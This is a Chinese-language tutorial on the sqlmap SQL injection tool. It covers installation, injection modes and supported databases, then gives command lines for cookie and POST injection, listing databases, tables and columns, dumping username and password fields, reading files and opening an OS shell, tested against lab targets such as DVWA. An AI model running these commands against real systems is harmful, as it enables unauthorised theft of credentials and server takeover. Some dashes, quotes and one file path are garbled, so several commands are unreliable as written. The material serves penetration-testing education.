简单来说:一个用来做sql注入攻击的工具
安装
1,下载sqlmap.zip,下载环境;
打开sqlmap官网https://github.com/sqlmapproject/sqlmap/ ;下载python-2.7.17.amd64.msi
2.配置环境变量;
(控制面板->系统和安全->系统->高级系统设置->环境变量)找到path 新建黏贴python地址
(不明白的话可以自行百度,这就不细说安装了)
sqlmap简介
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase、SAP MaxDB、informix和HsqlDB
SQLMAP工作流程
sqlmap -u “http://127.0.0.1/Less-1/index.php?id=1”
当给sqlmap这么一个url的时候,它会:
1、检测网站是否能够访问
2、检测是否有waf
3、判断可注入的参数
4、判断可以用那种sql注入技术来注入
5、识别出那种数据库
6、根据用户输入的参数,进行操作
基本格式
sqlmap -u “http://www.vuln.cn/post.php?id=1”
默认使用level1检测全部数据库类型
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
跟随302跳转
当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。
cookie注入
当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包
sqlmap -r “c: ools equest.txt” -p “username” –dbms mysql 指定username参数
注入成功后
获取数据库基本信息
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs
查询有哪些数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables
查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns
查询test数据库中admin表有哪些字段
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump
dump出字段username与password中的数据
sqlmap详细命令:
- –is-dba 当前用户权限(是否为root权限)
- –dbs 所有数据库
- –current-db 网站当前数据库
- –users 所有数据库用户
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- –passwords 数据库密码
- –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
测试sqlmap功能(dvwa测试网站)
拿到url后命令行输入
python2 sqlmap.py –u “http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#”
显示如下:
如果没有检测到会报错
现在可以尝试上面的执行语句,如爆库表列等:
库
表
列
读写文件
python sqlmap.py -u " " --file-read "要读取文件的目录 "
os参数(执行系统命令)
测试流程:
a)攻击:python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell
b)选择语言:
sqlmap默认为php,此处根据需求选择。
c)输入绝对路径:
此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www
d)建立os-shell并执行命令:
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭